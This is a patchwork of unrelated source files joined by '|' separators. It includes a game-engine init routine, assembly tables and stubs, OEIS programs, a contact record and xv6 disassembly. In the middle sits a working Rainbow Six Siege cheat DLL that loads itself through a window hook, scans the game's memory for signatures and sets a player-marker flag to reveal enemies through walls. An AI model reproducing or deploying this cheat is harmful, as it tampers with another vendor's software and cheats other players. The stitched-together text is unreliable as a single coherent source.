runDialogOptionRepExecFunc.moduleHasFunction.resize(numScriptModules, true);
for (int i = 0; i < numScriptModules; ++i)
{
moduleRepExecAddr[i].Invalidate();
}
}
HGameInitError InitGameState(const LoadedGameEntities &ents, GameDataVersion data_ver)
{
const ScriptAPIVersion base_api = (ScriptAPIVersion)game.options[OPT_BASESCRIPTAPI];
const ScriptAPIVersion compat_api = (ScriptAPIVersion)game.options[OPT_SCRIPTCOMPATLEV];
if (data_ver >= kGameVersion_341)
{
// TODO: find a way to either automate this list of strings or make it more visible and safer to use!!
const char * const scapi_names[] = {"v3.2.1", "v3.3.0", "v3.3.4", "v3.3.5", "v3.4.0", "v3.4.1", "v3.5.0", "v3.5.0.7"};
Debug::Printf(kDbgMsg_Init, "Requested script API: %s (%d), compat level: %s (%d)",
base_api >= 0 && base_api <= kScriptAPI_Current ? scapi_names[base_api] : "unknown", base_api,
compat_api >= 0 && compat_api <= kScriptAPI_Current ? scapi_names[compat_api] : "unknown", compat_api);
}
// If the game was compiled using unsupported version of the script API,
// we warn about potential incompatibilities but proceed further.
if (game.options[OPT_BASESCRIPTAPI] > kScriptAPI_Current)
platform->DisplayAlert("Warning: this game requests a higher version of AGS script API, it may not run correctly or run at all.");
//
// 1. Check that the loaded data is valid and compatible with the current
// engine capabilities.
//
if (game.numfonts == 0)
return new GameInitError(kGameInitErr_NoFonts);
if (game.audioClipTypes.size() > MAX_AUDIO_TYPES)
return new GameInitError(kGameInitErr_TooManyAudioTypes, String::FromFormat("Required: %u, max: %d", game.audioClipTypes.size(), MAX_AUDIO_TYPES));
//
// 2. Apply overriding config settings
//
// CLNUP: this stage is removed
//
// 3. Allocate and init game objects
//
charextra = (CharacterExtras*)calloc(game.numcharacters, sizeof(CharacterExtras));
charcache = (CharacterCache*)calloc(1,sizeof(CharacterCache)*game.numcharacters+5);
mls = (MoveList*)calloc(game.numcharacters + MAX_ROOM_OBJECTS + 1, sizeof(MoveList));
actSpsCount = game.numcharacters + MAX_ROOM_OBJECTS + 2;
actsps = (Bitmap **)calloc(actSpsCount, sizeof(Bitmap *));
actspsbmp = (IDriverDependantBitmap**)calloc(actSpsCount, sizeof(IDriverDependantBitmap*));
actspswb = (Bitmap **)calloc(actSpsCount, sizeof(Bitmap *));
actspswbbmp = (IDriverDependantBitmap**)calloc(actSpsCount, sizeof(IDriverDependantBitmap*));
actspswbcache = (CachedActSpsData*)calloc(actSpsCount, sizeof(CachedActSpsData));
play.charProps.resize(game.numcharacters);
HError err = InitAndRegisterGameEntities();
if (!err)
return new GameInitError(kGameInitErr_EntityInitFail, err);
LoadFonts(data_ver);
//
// 4. Initialize certain runtime variables
//
game_paused = 0; // reset the game paused flag
ifacepopped = -1;
String svg_suffix;
if (game.saveGameFileExtension[0] != 0)
svg_suffix.Format(".%s", game.saveGameFileExtension);
set_save_game_suffix(svg_suffix);
play.score_sound = game.scoreClipID;
play.fade_effect = game.options[OPT_FADETYPE];
//
// 5. Initialize runtime state of certain game objects
//
for (int i = 0; i < numguilabels; ++i)
{
// labels are not clickable by default
guilabels[i].SetClickable(false);
}
play.gui_draw_order = (int*)calloc(game.numgui * sizeof(int), 1);
update_gui_zorder();
calculate_reserved_channel_count();
//
// 6. Register engine API exports
// NOTE: we must do this before plugin start, because some plugins may
// require access to script API at initialization time.
//
ccSetScriptAliveTimer(150000);
ccSetStringClassImpl(&myScriptStringImpl);
setup_script_exports(base_api, compat_api);
//
// 7. Start up plugins
//
pl_register_plugins(ents.PluginInfos);
pl_startup_plugins();
//
// 8. Create script modules
// NOTE: we must do this after plugins, because some plugins may export
// script symbols too.
//
gamescript = ents.GlobalScript;
dialogScriptsScript = ents.DialogScript;
numScriptModules = ents.ScriptModules.size();
scriptModules = ents.ScriptModules;
AllocScriptModules();
if (create_global_script())
return new GameInitError(kGameInitErr_ScriptLinkFailed, ccErrorString);
return HGameInitError::None();
}
} // namespace Engine
} // namespace AGS
|
{
"name": {
"first": "Jonas",
"last": "Sicking"
},
"email": "jonas@sicking.cc"
} |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: DotMatrix printers
FILE: correctGamma20.asm
AUTHOR: Jim DeFrisco, May 27, 1992
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 5/27/92 Initial revision
DESCRIPTION:
Gamma correction table for printing
$Id: correctGamma20.asm,v 1.1 97/04/18 11:51:37 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
gamma20 segment resource
; Gamma-correction table for GAMMA = 2.0
byte 0x00, 0x10, 0x17, 0x1c, 0x20, 0x24, 0x27, 0x2a
byte 0x2d, 0x30, 0x32, 0x35, 0x37, 0x3a, 0x3c, 0x3e
byte 0x40, 0x42, 0x44, 0x46, 0x47, 0x49, 0x4b, 0x4d
byte 0x4e, 0x50, 0x51, 0x53, 0x54, 0x56, 0x57, 0x59
byte 0x5a, 0x5c, 0x5d, 0x5e, 0x60, 0x61, 0x62, 0x64
byte 0x65, 0x66, 0x67, 0x69, 0x6a, 0x6b, 0x6c, 0x6d
byte 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76
byte 0x77, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f
byte 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87
byte 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e
byte 0x8f, 0x90, 0x91, 0x91, 0x92, 0x93, 0x94, 0x95
byte 0x96, 0x97, 0x97, 0x98, 0x99, 0x9a, 0x9b, 0x9c
byte 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa0, 0xa1, 0xa2
byte 0xa3, 0xa4, 0xa4, 0xa5, 0xa6, 0xa7, 0xa7, 0xa8
byte 0xa9, 0xaa, 0xaa, 0xab, 0xac, 0xad, 0xad, 0xae
byte 0xaf, 0xb0, 0xb0, 0xb1, 0xb2, 0xb3, 0xb3, 0xb4
byte 0xb5, 0xb5, 0xb6, 0xb7, 0xb7, 0xb8, 0xb9, 0xba
byte 0xba, 0xbb, 0xbc, 0xbc, 0xbd, 0xbe, 0xbe, 0xbf
byte 0xc0, 0xc0, 0xc1, 0xc2, 0xc2, 0xc3, 0xc4, 0xc4
byte 0xc5, 0xc6, 0xc6, 0xc7, 0xc7, 0xc8, 0xc9, 0xc9
byte 0xca, 0xcb, 0xcb, 0xcc, 0xcc, 0xcd, 0xce, 0xce
byte 0xcf, 0xd0, 0xd0, 0xd1, 0xd1, 0xd2, 0xd3, 0xd3
byte 0xd4, 0xd4, 0xd5, 0xd6, 0xd6, 0xd7, 0xd7, 0xd8
byte 0xd9, 0xd9, 0xda, 0xda, 0xdb, 0xdc, 0xdc, 0xdd
byte 0xdd, 0xde, 0xde, 0xdf, 0xe0, 0xe0, 0xe1, 0xe1
byte 0xe2, 0xe2, 0xe3, 0xe4, 0xe4, 0xe5, 0xe5, 0xe6
byte 0xe6, 0xe7, 0xe7, 0xe8, 0xe9, 0xe9, 0xea, 0xea
byte 0xeb, 0xeb, 0xec, 0xec, 0xed, 0xed, 0xee, 0xee
byte 0xef, 0xf0, 0xf0, 0xf1, 0xf1, 0xf2, 0xf2, 0xf3
byte 0xf3, 0xf4, 0xf4, 0xf5, 0xf5, 0xf6, 0xf6, 0xf7
byte 0xf7, 0xf8, 0xf8, 0xf9, 0xf9, 0xfa, 0xfa, 0xfb
byte 0xfb, 0xfc, 0xfc, 0xfd, 0xfd, 0xfe, 0xfe, 0xff
gamma20 ends
|
; char *_memupr_(void *p, size_t n)
SECTION code_clib
SECTION code_string
PUBLIC _memupr__callee
EXTERN asm__memupr
_memupr__callee:
pop hl
pop bc
ex (sp),hl
jp asm__memupr
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC __memupr__callee
defc __memupr__callee = _memupr__callee
ENDIF
|
;================================================================================
; Mantle Object Changes
;--------------------------------------------------------------------------------
Mantle_CorrectPosition:
LDA $7EF3C6 : AND.b #$04 : BEQ +
LDA.b #$0A : STA $0D10, X ; just spawn it off to the side where we know it should be
LDA.b #$03 : STA $0D30, X
LDA.b #$90 : STA $0ED0, X
+
LDA $0D00, X : !ADD.b #$03 ; thing we did originally
RTL
;-------------------------------------------------------------------------------- |
; A287470: Decimal representation of the diagonal from the origin to the corner of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 276", based on the 5-celled von Neumann neighborhood.
; 1,0,6,0,28,0,120,0,496,0,2016,0,8128,0,32640,0,130816,0,523776,0,2096128,0,8386560,0,33550336,0,134209536,0,536854528,0,2147450880,0,8589869056,0,34359607296,0,137438691328,0,549755289600,0,2199022206976,0,8796090925056,0,35184367894528,0,140737479966720,0,562949936644096,0,2251799780130816,0,9007199187632128,0,36028796884746240,0,144115187807420416,0,576460751766552576,0,2305843008139952128,0,9223372034707292160,0,36893488143124135936,0,147573952581086478336,0,590295810341525782528,0
sub $1,$0
add $0,2
div $0,2
gcd $1,2
pow $1,$0
bin $1,2
mov $0,$1
|
#include <thread>
#include <chrono>
#include "mem_utils.hpp"
#include "game_structs.hpp"
bool is_in_game( game_state_t* state_manager )
{
const auto game_state = state_manager->game_state;
// == prep phase, == action phase
return game_state == PREP_PHASE || game_state == ACTION_PHASE;
}
unsigned long main_thread( void* )
{
// xref: PlayerMarkerComponent
const auto player_marker_xref_sig = impl::find_signature( "RainbowSix.exe", "4c 89 0b 48 8d 15" ) + 3;
if ( reinterpret_cast< uint64_t >( player_marker_xref_sig ) <= 3 )
{
MessageBoxA( nullptr, "player marker sig is invalid", "secret.club", MB_OK );
return 0;
}
const auto player_marker_component = player_marker_xref_sig + *reinterpret_cast< int32_t* >( player_marker_xref_sig + 3 ) + 7;
// xref: R6TrackingManager or attackingTeamIndex (first mov rax above)
const auto game_manager_sig = impl::find_signature( "RainbowSix.exe", "48 8b 05 ? ? ? ? 8b 8e" );
if ( !game_manager_sig )
{
MessageBoxA( nullptr, "game manager sig is invalid", "secret.club", MB_OK );
return 0;
}
const auto game_manager = *reinterpret_cast< game_manager_t** >( game_manager_sig + *reinterpret_cast< int32_t* >( game_manager_sig + 3 ) + 7 );
// search for immediate value 0x2e8, or any cmp [rcx+0x2e8], 2
const auto state_manager_sig = impl::find_signature( "RainbowSix.exe", "48 8b 05 ? ? ? ? 8b 90 e8 02" );
if ( !state_manager_sig )
{
MessageBoxA( nullptr, "state manager sig is invalid", "secret.club", MB_OK );
return 0;
}
const auto state_manager = *reinterpret_cast< game_state_t** >( state_manager_sig + *reinterpret_cast< int32_t* >( state_manager_sig + 3 ) + 7 );
while ( true )
{
static auto esp_enabled = true;
if ( GetAsyncKeyState( VK_INSERT ) & 1 )
esp_enabled = !esp_enabled;
if ( !is_in_game( state_manager ) )
continue;
const auto entity_list = game_manager->entity_list;
if ( !entity_list.contents )
continue;
for ( auto i = 0u; i < entity_list.size; i++ )
{
const auto entity = entity_list.contents[ i ];
if ( !entity )
continue;
// check if player's a bot, bots are always in .data
const auto higher_bits = static_cast< uint32_t >( reinterpret_cast< uint64_t >( entity ) >> 32 );
if ( higher_bits == BOT_NORMAL || higher_bits == BOT_NORMAL2 )
continue;
const auto event_listener = entity->event_listener;
if ( !event_listener )
continue;
const auto components = event_listener->components;
if ( !components.contents )
continue;
for ( auto j = 0u; j < components.size; j++ )
{
const auto component = reinterpret_cast< uint8_t* >( components.contents[ j ] );
if ( !component || *reinterpret_cast< uint8_t** >( component ) != player_marker_component )
continue;
*reinterpret_cast< bool* >( component + 0x534 ) = esp_enabled;
}
}
std::this_thread::sleep_for( std::chrono::milliseconds( 500 ) );
}
return 0;
}
bool DllMain( HMODULE module_instance, DWORD call_reason, void* )
{
if ( call_reason != DLL_PROCESS_ATTACH )
return false;
wchar_t file_name[ MAX_PATH ] = L"";
GetModuleFileNameW( module_instance, file_name, _countof( file_name ) );
LoadLibraryW( file_name );
return true;
}
extern "C" __declspec( dllexport )
LRESULT wnd_hk( int32_t code, WPARAM wparam, LPARAM lparam )
{
// handle race condition from calling hook multiple times
static auto done_once = false;
const auto pmsg = reinterpret_cast< MSG* >( lparam );
if ( !done_once && pmsg->message == 0x5b0 )
{
UnhookWindowsHookEx( reinterpret_cast< HHOOK >( lparam ) );
// you can just one line this since CloseHandle doesn't throw unless it's under debug mode
if ( const auto handle = CreateThread( nullptr, 0, &main_thread, nullptr, 0, nullptr ); handle != nullptr )
CloseHandle( handle );
done_once = true;
}
// call next hook in queue
return CallNextHookEx( nullptr, code, wparam, lparam );
} |
; A086951: n3^n(4n-1)/9.
; Submitted by Jon Maiga
; 0,1,14,99,540,2565,11178,45927,180792,688905,2558790,9310059,33303636,117448461,409209570,1410975855,4821232752,16343405073,55013709438,184024732275,612124372620,2025821736981,6673705343514,21893519253879
mov $1,3
pow $1,$0
mov $2,$0
mul $2,4
bin $2,2
mul $1,$2
mov $0,$1
div $0,18
|
[extern isr_handler]
[extern irq_handler]
isr_common_stub:
pusha
mov ax,ds
push eax
mov ax,0x10
mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax
;Save segments and register's for later. and call the handler
call isr_handler
pop eax
mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax
popa
add esp,8
sti
iret
irq_common_stub:
pusha
mov ax,ds
push eax
mov ax,0x10
mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax
call irq_handler
pop ebx
mov ds,bx
mov es,bx
mov fs,bx
mov gs,bx
popa
add esp,8
sti
iret
;for all isr function.
global isr0
global isr1
global isr2
global isr3
global isr4
global isr5
global isr6
global isr7
global isr8
global isr9
global isr10
global isr11
global isr12
global isr13
global isr14
global isr15
global isr16
global isr17
global isr18
global isr19
global isr20
global isr21
global isr22
global isr23
global isr24
global isr25
global isr26
global isr27
global isr28
global isr29
global isr30
global isr31
;global irq
global irq0
global irq1
global irq2
global irq3
global irq4
global irq5
global irq6
global irq7
global irq8
global irq9
global irq10
global irq11
global irq12
global irq13
global irq14
global irq15
;ISR handlers for 32 int's
;you must ask yourself, hey orr why there is 32 isr ints, well those ints are the cpu exception's,
isr0:
cli
push byte 0
push byte 0
jmp isr_common_stub
isr1:
cli
push byte 0
push byte 1
jmp isr_common_stub
isr2:
cli
push byte 0
push byte 2
jmp isr_common_stub
isr3:
cli
push byte 0
push byte 3
jmp isr_common_stub
isr4:
cli
push byte 0
push byte 4
jmp isr_common_stub
isr5:
cli
push byte 0
push byte 5
jmp isr_common_stub
isr6:
cli
push byte 0
push byte 6
jmp isr_common_stub
isr7:
cli
push byte 0
push byte 7
jmp isr_common_stub
isr8:
cli
push byte 0
push byte 8
jmp isr_common_stub
isr9:
cli
push byte 0
push byte 9
jmp isr_common_stub
isr10:
cli
push byte 0
push byte 10
jmp isr_common_stub
isr11:
cli
push byte 0
push byte 11
jmp isr_common_stub
isr12:
cli
push byte 0
push byte 12
jmp isr_common_stub
isr13:
cli
push byte 0
push byte 13
jmp isr_common_stub
isr14:
cli
push byte 0
push byte 14
jmp isr_common_stub
isr15:
cli
push byte 0
push byte 15
jmp isr_common_stub
isr16:
cli
push byte 0
push byte 16
jmp isr_common_stub
isr17:
cli
push byte 0
push byte 17
jmp isr_common_stub
isr18:
cli
push byte 0
push byte 18
jmp isr_common_stub
isr19:
cli
push byte 0
push byte 19
jmp isr_common_stub
isr20:
cli
push byte 0
push byte 20
jmp isr_common_stub
isr21:
cli
push byte 0
push byte 21
jmp isr_common_stub
isr22:
cli
push byte 0
push byte 22
jmp isr_common_stub
isr23:
cli
push byte 0
push byte 23
jmp isr_common_stub
isr24:
cli
push byte 0
push byte 24
jmp isr_common_stub
isr25:
cli
push byte 0
push byte 25
jmp isr_common_stub
isr26:
cli
push byte 0
push byte 26
jmp isr_common_stub
isr27:
cli
push byte 0
push byte 27
jmp isr_common_stub
isr28:
cli
push byte 0
push byte 28
jmp isr_common_stub
isr29:
cli
push byte 0
push byte 29
jmp isr_common_stub
isr30:
cli
push byte 0
push byte 30
jmp isr_common_stub
isr31:
cli
push byte 0
push byte 31
jmp isr_common_stub
irq0:
cli
push byte 0
push byte 32
jmp irq_common_stub
irq1:
cli
push byte 1
push byte 33
jmp irq_common_stub
irq2:
cli
push byte 2
push byte 34
jmp irq_common_stub
irq3:
cli
push byte 3
push byte 35
jmp irq_common_stub
irq4:
cli
push byte 4
push byte 36
jmp irq_common_stub
irq5:
cli
push byte 5
push byte 37
jmp irq_common_stub
irq6:
cli
push byte 6
push byte 38
jmp irq_common_stub
irq7:
cli
push byte 7
push byte 39
jmp irq_common_stub
irq8:
cli
push byte 8
push byte 40
jmp irq_common_stub
irq9:
cli
push byte 9
push byte 41
jmp irq_common_stub
irq10:
cli
push byte 10
push byte 42
jmp irq_common_stub
irq11:
cli
push byte 11
push byte 43
jmp irq_common_stub
irq12:
cli
push byte 12
push byte 44
jmp irq_common_stub
irq13:
cli
push byte 13
push byte 45
jmp irq_common_stub
irq14:
cli
push byte 14
push byte 46
jmp irq_common_stub
irq15:
cli
push byte 15
push byte 47
jmp irq_common_stub
|
_stressfs: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
int fd, i;
char path[] = "stressfs0";
7: b8 30 00 00 00 mov $0x30,%eax
{
c: ff 71 fc pushl -0x4(%ecx)
f: 55 push %ebp
10: 89 e5 mov %esp,%ebp
12: 57 push %edi
13: 56 push %esi
14: 53 push %ebx
15: 51 push %ecx
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
16: 8d b5 e8 fd ff ff lea -0x218(%ebp),%esi
for(i = 0; i < 4; i++)
1c: 31 db xor %ebx,%ebx
{
1e: 81 ec 20 02 00 00 sub $0x220,%esp
char path[] = "stressfs0";
24: 66 89 85 e6 fd ff ff mov %ax,-0x21a(%ebp)
2b: c7 85 de fd ff ff 73 movl $0x65727473,-0x222(%ebp)
32: 74 72 65
printf(1, "stressfs starting\n");
35: 68 10 08 00 00 push $0x810
3a: 6a 01 push $0x1
char path[] = "stressfs0";
3c: c7 85 e2 fd ff ff 73 movl $0x73667373,-0x21e(%ebp)
43: 73 66 73
printf(1, "stressfs starting\n");
46: e8 a5 04 00 00 call 4f0 <printf>
memset(data, 'a', sizeof(data));
4b: 83 c4 0c add $0xc,%esp
4e: 68 00 02 00 00 push $0x200
53: 6a 61 push $0x61
55: 56 push %esi
56: e8 95 01 00 00 call 1f0 <memset>
5b: 83 c4 10 add $0x10,%esp
if(fork() > 0)
5e: e8 27 03 00 00 call 38a <fork>
63: 85 c0 test %eax,%eax
65: 0f 8f bf 00 00 00 jg 12a <main+0x12a>
for(i = 0; i < 4; i++)
6b: 83 c3 01 add $0x1,%ebx
6e: 83 fb 04 cmp $0x4,%ebx
71: 75 eb jne 5e <main+0x5e>
73: bf 04 00 00 00 mov $0x4,%edi
break;
printf(1, "write %d\n", i);
78: 83 ec 04 sub $0x4,%esp
7b: 53 push %ebx
7c: 68 23 08 00 00 push $0x823
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
81: bb 14 00 00 00 mov $0x14,%ebx
printf(1, "write %d\n", i);
86: 6a 01 push $0x1
88: e8 63 04 00 00 call 4f0 <printf>
path[8] += i;
8d: 89 f8 mov %edi,%eax
8f: 00 85 e6 fd ff ff add %al,-0x21a(%ebp)
fd = open(path, O_CREATE | O_RDWR);
95: 5f pop %edi
96: 58 pop %eax
97: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
9d: 68 02 02 00 00 push $0x202
a2: 50 push %eax
a3: e8 2a 03 00 00 call 3d2 <open>
a8: 83 c4 10 add $0x10,%esp
ab: 89 c7 mov %eax,%edi
ad: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < 20; i++)
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
b0: 83 ec 04 sub $0x4,%esp
b3: 68 00 02 00 00 push $0x200
b8: 56 push %esi
b9: 57 push %edi
ba: e8 f3 02 00 00 call 3b2 <write>
for(i = 0; i < 20; i++)
bf: 83 c4 10 add $0x10,%esp
c2: 83 eb 01 sub $0x1,%ebx
c5: 75 e9 jne b0 <main+0xb0>
close(fd);
c7: 83 ec 0c sub $0xc,%esp
ca: 57 push %edi
cb: e8 ea 02 00 00 call 3ba <close>
printf(1, "read\n");
d0: 58 pop %eax
d1: 5a pop %edx
d2: 68 2d 08 00 00 push $0x82d
d7: 6a 01 push $0x1
d9: e8 12 04 00 00 call 4f0 <printf>
fd = open(path, O_RDONLY);
de: 59 pop %ecx
df: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
e5: 5b pop %ebx
e6: 6a 00 push $0x0
e8: 50 push %eax
e9: bb 14 00 00 00 mov $0x14,%ebx
ee: e8 df 02 00 00 call 3d2 <open>
f3: 83 c4 10 add $0x10,%esp
f6: 89 c7 mov %eax,%edi
f8: 90 nop
f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for (i = 0; i < 20; i++)
read(fd, data, sizeof(data));
100: 83 ec 04 sub $0x4,%esp
103: 68 00 02 00 00 push $0x200
108: 56 push %esi
109: 57 push %edi
10a: e8 9b 02 00 00 call 3aa <read>
for (i = 0; i < 20; i++)
10f: 83 c4 10 add $0x10,%esp
112: 83 eb 01 sub $0x1,%ebx
115: 75 e9 jne 100 <main+0x100>
close(fd);
117: 83 ec 0c sub $0xc,%esp
11a: 57 push %edi
11b: e8 9a 02 00 00 call 3ba <close>
wait();
120: e8 75 02 00 00 call 39a <wait>
exit();
125: e8 68 02 00 00 call 392 <exit>
12a: 89 df mov %ebx,%edi
12c: e9 47 ff ff ff jmp 78 <main+0x78>
131: 66 90 xchg %ax,%ax
133: 66 90 xchg %ax,%ax
135: 66 90 xchg %ax,%ax
137: 66 90 xchg %ax,%ax
139: 66 90 xchg %ax,%ax
13b: 66 90 xchg %ax,%ax
13d: 66 90 xchg %ax,%ax
13f: 90 nop
00000140 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 53 push %ebx
144: 8b 45 08 mov 0x8(%ebp),%eax
147: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
14a: 89 c2 mov %eax,%edx
14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
150: 83 c1 01 add $0x1,%ecx
153: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
157: 83 c2 01 add $0x1,%edx
15a: 84 db test %bl,%bl
15c: 88 5a ff mov %bl,-0x1(%edx)
15f: 75 ef jne 150 <strcpy+0x10>
;
return os;
}
161: 5b pop %ebx
162: 5d pop %ebp
163: c3 ret
164: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
16a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000170 <strcmp>:
int
strcmp(const char *p, const char *q)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 53 push %ebx
174: 8b 55 08 mov 0x8(%ebp),%edx
177: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
17a: 0f b6 02 movzbl (%edx),%eax
17d: 0f b6 19 movzbl (%ecx),%ebx
180: 84 c0 test %al,%al
182: 75 1c jne 1a0 <strcmp+0x30>
184: eb 2a jmp 1b0 <strcmp+0x40>
186: 8d 76 00 lea 0x0(%esi),%esi
189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
190: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
193: 0f b6 02 movzbl (%edx),%eax
p++, q++;
196: 83 c1 01 add $0x1,%ecx
199: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
19c: 84 c0 test %al,%al
19e: 74 10 je 1b0 <strcmp+0x40>
1a0: 38 d8 cmp %bl,%al
1a2: 74 ec je 190 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
1a4: 29 d8 sub %ebx,%eax
}
1a6: 5b pop %ebx
1a7: 5d pop %ebp
1a8: c3 ret
1a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1b0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
1b2: 29 d8 sub %ebx,%eax
}
1b4: 5b pop %ebx
1b5: 5d pop %ebp
1b6: c3 ret
1b7: 89 f6 mov %esi,%esi
1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001c0 <strlen>:
uint
strlen(char *s)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
1c6: 80 39 00 cmpb $0x0,(%ecx)
1c9: 74 15 je 1e0 <strlen+0x20>
1cb: 31 d2 xor %edx,%edx
1cd: 8d 76 00 lea 0x0(%esi),%esi
1d0: 83 c2 01 add $0x1,%edx
1d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
1d7: 89 d0 mov %edx,%eax
1d9: 75 f5 jne 1d0 <strlen+0x10>
;
return n;
}
1db: 5d pop %ebp
1dc: c3 ret
1dd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
1e0: 31 c0 xor %eax,%eax
}
1e2: 5d pop %ebp
1e3: c3 ret
1e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000001f0 <memset>:
void*
memset(void *dst, int c, uint n)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 57 push %edi
1f4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
1f7: 8b 4d 10 mov 0x10(%ebp),%ecx
1fa: 8b 45 0c mov 0xc(%ebp),%eax
1fd: 89 d7 mov %edx,%edi
1ff: fc cld
200: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
202: 89 d0 mov %edx,%eax
204: 5f pop %edi
205: 5d pop %ebp
206: c3 ret
207: 89 f6 mov %esi,%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <strchr>:
char*
strchr(const char *s, char c)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 53 push %ebx
214: 8b 45 08 mov 0x8(%ebp),%eax
217: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
21a: 0f b6 10 movzbl (%eax),%edx
21d: 84 d2 test %dl,%dl
21f: 74 1d je 23e <strchr+0x2e>
if(*s == c)
221: 38 d3 cmp %dl,%bl
223: 89 d9 mov %ebx,%ecx
225: 75 0d jne 234 <strchr+0x24>
227: eb 17 jmp 240 <strchr+0x30>
229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
230: 38 ca cmp %cl,%dl
232: 74 0c je 240 <strchr+0x30>
for(; *s; s++)
234: 83 c0 01 add $0x1,%eax
237: 0f b6 10 movzbl (%eax),%edx
23a: 84 d2 test %dl,%dl
23c: 75 f2 jne 230 <strchr+0x20>
return (char*)s;
return 0;
23e: 31 c0 xor %eax,%eax
}
240: 5b pop %ebx
241: 5d pop %ebp
242: c3 ret
243: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000250 <gets>:
char*
gets(char *buf, int max)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 57 push %edi
254: 56 push %esi
255: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
256: 31 f6 xor %esi,%esi
258: 89 f3 mov %esi,%ebx
{
25a: 83 ec 1c sub $0x1c,%esp
25d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
260: eb 2f jmp 291 <gets+0x41>
262: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
268: 8d 45 e7 lea -0x19(%ebp),%eax
26b: 83 ec 04 sub $0x4,%esp
26e: 6a 01 push $0x1
270: 50 push %eax
271: 6a 00 push $0x0
273: e8 32 01 00 00 call 3aa <read>
if(cc < 1)
278: 83 c4 10 add $0x10,%esp
27b: 85 c0 test %eax,%eax
27d: 7e 1c jle 29b <gets+0x4b>
break;
buf[i++] = c;
27f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
283: 83 c7 01 add $0x1,%edi
286: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
289: 3c 0a cmp $0xa,%al
28b: 74 23 je 2b0 <gets+0x60>
28d: 3c 0d cmp $0xd,%al
28f: 74 1f je 2b0 <gets+0x60>
for(i=0; i+1 < max; ){
291: 83 c3 01 add $0x1,%ebx
294: 3b 5d 0c cmp 0xc(%ebp),%ebx
297: 89 fe mov %edi,%esi
299: 7c cd jl 268 <gets+0x18>
29b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
29d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
2a0: c6 03 00 movb $0x0,(%ebx)
}
2a3: 8d 65 f4 lea -0xc(%ebp),%esp
2a6: 5b pop %ebx
2a7: 5e pop %esi
2a8: 5f pop %edi
2a9: 5d pop %ebp
2aa: c3 ret
2ab: 90 nop
